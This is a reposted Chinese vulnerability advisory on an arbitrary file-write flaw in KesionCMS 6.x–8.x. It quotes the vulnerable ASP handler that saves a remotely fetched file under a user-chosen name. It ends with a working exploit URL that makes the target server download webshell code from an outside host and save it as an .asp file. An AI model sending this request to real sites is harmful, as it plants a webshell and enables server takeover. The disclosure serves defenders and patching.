您的位置:首页 > 其它

kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞

2013-04-20 16:12 525 查看
发布时间:2013-04-08 关键词:kesioncms
漏洞
漏洞版本:kesioncms(科讯cms) 6.x - 8.x

漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器

漏洞代码:

Wap/Plus/PhotoVote.asp中:

Dim KS:Set KS=New
PublicCls

Dim ID:ID=
Replace(KS.S("ID")," ","")

Dim ChannelID:ChannelID=KS.G("ChannelID")

If ChannelID=""
Then ChannelID=2

If KS.G("LocalFileName")<>""
And KS.G("RemoteFileUrl")<>""
Then

If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))=
True Then

Response.write KS.G("LocalFileName")'错误提示

End If

End If

……

'==================================================

'过程名:SaveBeyondFile

'作 用:保存远程的文件到本地

'参 数:LocalFileName
------ 本地文件名

'参 数:RemoteFileUrl ------ 远程文件URL

'==================================================

Function SaveBeyondFile(LocalFileName,RemoteFileUrl)

On
Error Resume
Next

SaveBeyondFile=True

dim Ads,Retrieval,GetRemoteData

Set Retrieval
= Server.CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open
"Get",
RemoteFileUrl,
False,
"",
""

.Send

If .Readystate<>4
then

SaveBeyondFile=False

Exit Function

End If

GetRemoteData =
.ResponseBody

End With

Set Retrieval
= Nothing

Set Ads
= Server.CreateObject("Adodb.Stream")

With Ads

.Type
= 1

.Open

.Write
GetRemoteData

.SaveToFile server.MapPath(LocalFileName),2

.Cancel()

.Close()

End With

If Err.Number<>0
Then

Err.Clear

SaveBeyondFile=False

Exit
Function

End If

Set Ads=nothing

End Function

通过上面的代码可见,KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅判断是否为空和过滤一些SQL字符,然后就执行写入文件操作,过滤不严导致可构造恶意url写入文件。

漏洞利用URL:
http://目标网址/Wap/Plus/PhotoVote.asp?LocalFileName=bug.asp&RemoteFileUrl=http://bug8.com/code.txt
其中的code.txt为webshell代码文本。此URL将会在Wap/Plus下写入bug.asp,并返回文件名。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: